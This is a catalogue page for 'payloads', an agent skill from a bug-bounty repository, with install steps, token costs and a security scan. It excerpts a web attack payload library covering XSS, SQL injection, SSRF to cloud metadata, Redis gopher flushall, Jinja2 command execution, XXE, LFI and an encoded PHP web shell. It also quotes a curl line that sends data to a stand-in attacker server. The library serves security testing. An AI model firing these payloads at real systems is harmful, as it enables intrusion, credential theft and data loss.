A library of security-testing payloads, which are specially crafted inputs used to check how software handles dangerous data.

It is for testing cross-site scripting, SQL injection, server-side request forgery (SSRF), and server-side template injection (SSTI).

It collects example inputs for several common web vulnerabilities in one place.

payloads — Skill for Claude Code and Codex by sanjaysaini1952

Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo

git clone --depth 1 https://github.com/sanjaysaini1952/BugBounty-Arsenal

agentmods

npx agentmods add skills/sanjaysaini1952/bugbounty-arsenal/payloads

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

README.md

[![agentmods](https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/payloads/github.svg)](https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/payloads)

Your own site

<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/payloads"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/payloads/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

Your own site · 80×15

<a href="https://agentmods.dev/skills/sanjaysaini1952/bugbounty-arsenal/payloads"><img src="https://agentmods.dev/badge/skills/sanjaysaini1952/bugbounty-arsenal/payloads.svg" alt="Reviewed on agentmods" width="80" height="20"></a>

Per session 0 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.

When invoked 1,290 The whole file, excluding the scripts and references it only reads on demand.

Security scan B 2 findings. A grade says what 26 rules found in the file — not that it is safe.

Origin original No closer match found in the catalogue.

Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

Model	Per session	Once invoked
Fable 5.1	$0.00000	$0.01290
Opus 5	$0.00000	$0.00645
Sonnet 5	$0.00000	$0.00258
Haiku 4.5	$0.00000	$0.00129

Measured 11d ago against content hash aec8f191587b, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-11, from the pricing page.

Security

Grade B, and why

payloads scanned grade B with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 11d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

http://169.254.169.254/latest/meta-data/

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

; curl http://YOUR_SERVER/$(whoami)

skills/payloads/SKILL.md · 177 lines

How it starts

The opening of the file, as written. The whole thing — 177 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Master Payload Library

Consolidated from PayloadsAllTheThings, SecLists, awesome-skills-security, pentest-agents payload rules.

XSS Payloads

<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>alert(1)</script>
'><script>alert(1)</script>
javascript:alert(1)
"><img src=x onerror=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<video src=x onerror=alert(1)>
<iframe src="javascript:alert(1)">
'-alert(1)-'
\';alert(1)//
" onfocus=alert(1) autofocus="
" onmouseover=alert(1) "
"><svg/onload=alert(1)>
<svg/onload=alert(1)>
"><svg><script>alert(1)</script>

SQL Injection Payloads

' OR '1'='1
' OR '1'='1'--
' OR '1'='1'#
" OR "1"="1
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,2,3--
1' UNION SELECT username,password FROM users--
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
'; WAITFOR DELAY '0:0:5'--
' AND extractvalue(1,concat(0x7e,(SELECT version()),0x7e))--
' AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)--
' ORDER BY 10--

SSRF Payloads

http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1]
http://169.254.169.254/latest/meta-data/
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://127.0.0.1:8080
http://127.0.0.1:6379
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

SSTI Payloads

{{7*7}}  → 49
${7*7}   → 49
<%= 7*7 %>  → 49
{{config}}  → full config dump
{{''.__class__.__mro__[2].__subclasses__()}}  → class list
{{lipsum.__globals__['os'].popen('id').read()}}  → RCE (Jinja2)

XXE Payloads

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>

<!-- Blind XXE -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://YOUR_SERVER/xxe.dtd">%xxe;]>

LFI Payloads

../../../../../../etc/passwd
../../../../../../windows/system32/drivers/etc/hosts
php://filter/convert.base64-encode/resource=index.php
php://input
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=
expect://id

Read the full file on GitHub · 177 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

11d ago First seen · 177 lines · 0 tokens per session scan B aec8f191587b

Subscribe to this mod's changes

payloads is a skill published in the GitHub repository sanjaysaini1952/BugBounty-Arsenal (2 stars, last pushed 1mo ago), licensed MIT. It costs nothing until one of its globs matches a file; then it loads 1,290 tokens. A static security scan graded it B with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.

Security Testing

research-engineer

An uncompromising Academic Research Engineer. Operates with absolute scientific rigor, objective criticism, and zero flair. Focuses on theoretical correctness, formal verification, and optimal implementation across any required technology.

davila7/claude-code-templates · 43 tokens

tika-eval-compare

Compare extracts from two Tika builds over a corpus to detect regressions in content, encoding, exceptions, and embedded-document handling. Use for "compare before/after extracts", "eval this change against the corpus".

apache/tika · 50 tokens

neuron-evaluation-engineer

Create and run AI evaluations with datasets, assertions, and output drivers in Neuron AI. Use this skill whenever the user mentions evaluation, testing AI systems, creating evaluators, dataset-driven testing, assertion-based validation, or wants to measure AI system performance. Also trigger for tasks involving…

neuron-core/neuron-ai · 77 tokens

payloads